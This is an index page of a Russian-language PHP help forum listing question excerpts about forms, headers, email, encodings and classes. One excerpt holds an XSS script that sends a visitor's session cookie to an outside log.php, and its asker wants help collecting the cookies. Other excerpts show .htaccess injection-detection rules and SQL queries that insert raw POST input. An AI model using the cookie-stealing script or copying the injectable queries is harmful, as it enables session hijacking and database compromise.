PHP
A general-purpose scripting language especially suited to web development
Explore Questions
There are no popular questions to show right now
-
0 votes2 answers
-
0 votes1 answer
-
0 votes1 answer
-
0 votes2 answers
-
0 votes0 answers
2481 questions in this forum
-
зачем нужен linux
У меня вопрос: зачем для PHP часто требуют знание Linux? И какие знания требуются?
0 votes3 answers -
URL action'а в form
Доброго времени суток. Создавая небольшой сайт решил применить наверняка известный многим прием, когда желаемый раздел/страница сайта указываются таким образом: http://127.0.0.1/?page=about http://127.0.0.1/?page=main Все было отлично до того момента, когда не начал создавать форму регистрации по адресу: http://127.0.0.1/?page=registration На этой странице пользователю выводится форма для заполнения, но передавать данные от нее мне так же хотелось бы в этот адрес. Пробую: <form action="/?page=registration"> Но браузер судя по всему обрезает все после слэша и данные передаются так: http://127.0.0.1/?name=Ivan&password=123456&captcha=123456 Каким образом м…
0 votes2 answers -
Тупой вопрос но все-же...
У меня есть форма, с которой идут данные в php <?php if (isset($_POST['message'])&&!empty($_POST['message'])) { $message = strip_tags($_POST['message']); $message = htmlspecialchars($message); $message = mysql_escape_string($message); $message = trim($message); if(strlen($message) < 1) exit(); if (strlen($message) > 500) $message = substr($message, 0, 500)."..."; if ($_COOKIE['message'] == $message) exit(); setcookie("message", "$message"); if (isset($_POST['name'])&&!empty($_POST['name'])) { $name = strip_tags($_POST['name']); $name = htmlspecialchars($name); $name = mysql_escape_string($name); $name = trim…
0 votes2 answers -
Рассылка электронной почты
Приветствую. Интересует ваше мнение... Делаю электронную рассылку по базе клиентов (~4000 адресов). В тексте письма есть ссылка для отправки знакомому (aka "Поделиться"). Само письмо содержит embedded флаер и весит 100-200кб. Все как обычно: пользователь вводит адрес, комментарий, текст с картинки и письмо должно отправляться. Как лучше организовать отправку? - напрямую после заполнения формы Не надо мудрить с cron, создавать списки, к тому же нет доступа к MySQL бд. Однако, при большом потоке вырастит нагрузка на сервер, некоторые известные почтовые сервисы могут заблокировать почтовый адрес или даже IP (Рационально отправлять не более трех сообщений в минуту) - через …
0 votes3 answers -
Микрофреймворк
Встретился с таким понятием как микрофреймворк, из примеров есть например Slim м Silex. Вообще идея интересная, хочу спросить кто что думает на эту тему? вообще самый интересный вопрос, это что вообще можно считать «микро» фреймворком т.е. где та самая грань которая будет отделять его от обычного фв По себе могу сказать, что чувствую можно сделать проще многие вещи, например конфигуррирование, реализацию некоторых паттернов, например DI, упростить синтаксис, например экшены писать без префиксов и суффиксов, а просто как есть и т.д.
0 votes3 answers -
Почему тут ошибка?
Вот хочу чтоб в файл index.inc записался текст в переменной $neew но как? мне только ошибку показывает Warning: fwrite(): supplied argument is not a valid stream resource in Z:\home\localhost\www\video\process.php on line 2 $qwe = fopen('index.inc', 'r+'); fwrite($neew, $qwe); fclose($qwe); $neew = <<<here> <h1>$name</h1> <center> $html <p>$about</p> </center> <center> </center> $date HERE;
0 votes4 answers -
Проблема с HTTP заголовком
Приветствую. Объясните пожалуйста, почему не выводятся данные, если убрать комментарии перед отправкой заголовка: <?php $name = $_POST[name]; $age = abs((int)$_POST[age]); if($_SERVER['REQUEST_METHOD']=="POST"){ if($name && $age ){ $res = "Здравствуйте $name, $age - ваш возраст"; } else { $res = "Введите верное значение!"; } //header("Location: " . $_SERVER["PHP_SELF"]); //exit; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset…
0 votes6 answers -
Передать xml по ссылке, так что бы он записался в логи хостинга
Сталкнулся с такой хренью, стоит задача по html запросу сформировать и отправить ответ в формате XML, кодировка UTF-8 (Content-type: text/plain). Т.е. мне приходит POST запрос, я его обрабатываю, формирую xml и отсылаю по адресу сайта (адрес заранее известен типа: http://site.ru/id/ip/whrh/) Загвоздка стала в том, как отправить мне готовый xml по ссылке. Вот код моего готового xml, я знаю как например сохранить его, или отправить на печать. $dom = new domDocument("1.0", "utf-8"); $root = $dom->createElement("response"); $dom->appendChild($root); $result = $dom->createElement("result", 0); $discr = $dom->createElement("sum", OK!); $root->ap…
0 votes10 answers -
Вопрос по htaccess
В htaccess,который находится в папке с картинками,есть вот такая запись. <FilesMatch "\.(gif|jpg|png)$"> RewriteEngine On RewriteCond %{REQUEST_FILENAME} -f RewriteRule ^(.*)$ ../watermark/_watermark.php [T=application/x-httpd-php,L,QSA] </FilesMatch> Он должен вместо картинки открывать _watermark.php,но это не работает,возможно,какой-то конфликт с htaccess в корневой директории? RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR] RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR] RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR] RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR] RewriteCond %{QUERY…
0 votes5 answers -
как получить куку? хелп
Есть поле сообщений, где добавляется такой скрипт (ниже). Создается картинка с урлом в котором сессионая кука есть. Подскажите плиз как этот log.php должен быть написан принимающий один параметр и забрасывающий результат того, что в урле в текстовый файл log.txt? <script> url=document.cookie; var oImg=document.createElement("img"); oImg.setAttribute('src','http://sait/log.php?cookie='+url); oImg.setAttribute('alt','na'); oImg.setAttribute('height','1px'); oImg.setAttribute('width','1px'); document.body.appendChild(oImg); </script>
0 votes7 answers -
Форма обратной связи
На лендинге нужно настроить несколько форм обратной связи. предложения в личку.
0 votes1 answer -
Method name must be a string
require($this->controller); $class = $this->name_controller; $controller_base = new $class; $action = $this->action; $controller_base->$action(); Вообще вот кусок кода который выдает ошибку. Не пойму почему, на хабре тоже было $controller->$action();
0 votes2 answers -
Использование класса в PHP
Привет форумчане. Возникла такая задача.. обойдя некоторые темы в интернете написал класс для управления (регистрации, входа, выхода) на php. За пределами класса я создаю объект $user = new user(); а потом идет код, например, для авторизации или для регистрации. Окей, это мы прошли. И вот вопрос. Можно ли как-то с другой страницы получить имя пользователя, который только что у нас вошел? Имя хранится в переменной класса, в моем случае. Просто нелогично ведь потом использовать снова $user = new user(); Чтобы получить имя, тем более что мы создаем новый объект, и там не будет нужного мне имени пользователя..
0 votes4 answers -
Php Регистрация и авторизачия
Помогите со скриптом вот код авторизации <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <title>Регистрация и авторизация</title> </head> <body> <?php $mysql=mysql_connect('localhost','zstushaba_lol','123321'); mysql_select_db('zstushaba_ftk'); $query="SELECT*FROM `childs` WHERE choise = '$_POST[login]'"; $res=mysql_query($query); $number = mysql_num_…
0 votes1 answer -
Размер столбца
Не могу найти в коде строку по изменению ширины столбца, подскажите в какую сторону смотреть. Это относится к css или js? Исходники тут https://addsky.ru/sites/ad_php_phonebook.zip Таблица:
0 votes1 answer -
Глюк с кодировками
Всем привет, помогите, пожалуйста. Есть форма отправки она вызывает функцию для отправки инфы на e-mail У меня стоит 3 аутлук у заказчика тоже с недавнего времени к нему приходят письма не в том формате (почему-то не читается кодировка письма). У меня все нормально. С чем это может быть связано? Вот функция отправки (писала не сама, требуется разобраться). Вроде все правильно. <?php if ($_SERVER['REQUEST_METHOD']=="POST"){ $to="guest@avtogermes.ru"; $subject="запрос trade-in"; $from = 'germes@turmaster.ru'; $mime_boundary="==Multipart_Boundary_x".md5(mt_rand())."x"; $headers = "From: $from\r\n" . "MIME-Version: 1.0\r\n" . "Content-Type: te…
0 votes0 answers -
Скрипт поиска, приравнять регистр
Всем привет. Суть проблемы такова. Есть HTML сайт прикрутил к нему скрипт поиска... База поиска в данном скрипте набивается сама в обычном текстовом редакторе. Файл называется searchdat т.е я прописываю ключевое слово и ссылку там. Вот например abba::http://www.domen.ru/index1 beatles::http://www.domen.ru/index2 bad boys::http://www.domen.ru/index3 rembo::http://www.domen.ru/index4 terminator::http://www.domen.ru/index5 и т.д. В итоге если в поисковую форму вбить Abba (с заглавной буквы) или aBBa то скрипт ничего не найдет в этом файле...Т.е изнчально я должен был бы в базу написать Abba aBBa abba::http://www.domen.ru/index1 то тогда он бы понял..т. он ищет четкую с…
0 votes1 answer -
Как инициировать автоматическую передачу данных методом post или get
Здравствуйте! Возник такой вопросик. У меня есть форма, куда посетитель вводит номер мобильного телефона. Далее нажимает кнопку и методом POST передает данные другому скрипту, который проверяет данные на корректность, и в случае некорректного введения, возвращает посетителя опять к форме для повторного заполнения. Вот код: if (empty($_POST['phone'])) { echo "Вы не ввели номер телефона!"; echo "<p><a href='javascript: history.back();' class='black'>Ввести номер телефона</a></p>"; exit(); } else { if(!preg_match("/^[0-9]{7,7}+$/", $_POST['phone'])) { echo ("Телефон задан в неверном формате, выбирите из списка код оператора …
0 votes8 answers -
правильное составление имен переменных
Всем привет Тут вдруг задался вопросом, как лучше обзывать переменные Например, переменные описывающие модуль : Ключ модуля, данные модуля, иформация о модуле $key_module, $data_module, $info_module (так правильно с точки зрения английского языка) или же $module_key, $module_data, $module_data (а так вроде как ключевое слово module идет первым, а потом идут описывающие его параметры) Кто как бы назвал ?
0 votes7 answers -
Помогите найти ошибку
Проблема вот в чём http://hostingkartinok.com/show-image.php?id=48f4631a442d5963eef4fbddebcd0215 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Serial</title> <link rel="stylesheet" type="text/css" href="css.css"> </head> <body><?php$DBH = new PDO("mysql:host=localhost;dbname=serials", "root", "");$DBH->query("SET NAMES utf8");$STH = $DBH->query('SELECT * FROM `serial`');$STH->setFetchMode(PDO::FETCH_OBJ);while($row = $STH->fetch()){?><table border="1"> &l…
0 votes8 answers -
Вывод форматированной даты кириллицей из ячейки с типом DATE
Здравствуйте! В БД дата в ячейке типа DATE устанавливается в виде yyyy-mm-dd. Мне нужно её вывести двумя способами: 1 - в обратном порядке dd-mm-yyyy; 2 - чтобы месяц прописывался кириллицей (5 апреля 2015). Есть какая-то функция, которая может обработать значение массива, в котором содержится дата или какой-нибудь рабочий способ?
0 votes5 answers -
Отправка файлов php
Могу отправить файл размером 300 мб Но когда пытаюсь отправить файл около 500 мб, пишет мол память ограничена прописываю в .htaccess php_value memory_limit 10000000000000000000000 все ровно такая же ошибка все уже перепробовал не получается. в чем проблема?
0 votes1 answer -
Простейшая задача.Выбор элемента массива по номеру.
есть массив Array([n1]->a1,[n2]->a2,[n3]->a3) n1 n2 и n3 - любые числа, но по порядку - то есть n3>n2>n1 Мне нужно превратить этот массив в Array([1]->a1,[2]-a2.[3]->a3)
0 votes6 answers -
Кнопка входа в режиме реального времени
Доброго времени суток! https://youtu.be/qGHnjEygYq8 Как сделать такою кнопку? Кто знает? Буду очень благодарен... Проверка на заполнение уже есть... Проверка у меня через PHP
0 votes4 answers -
Ответ на Ajax запрос
Доброго времени суток. Подскажите как из php скрипта отправить ответ на ajax запрос без использования json_encode()? проблема в кодировке: сайт и база на win-1251, а json_encode() работает только c UTF-8 данными.
0 votes3 answers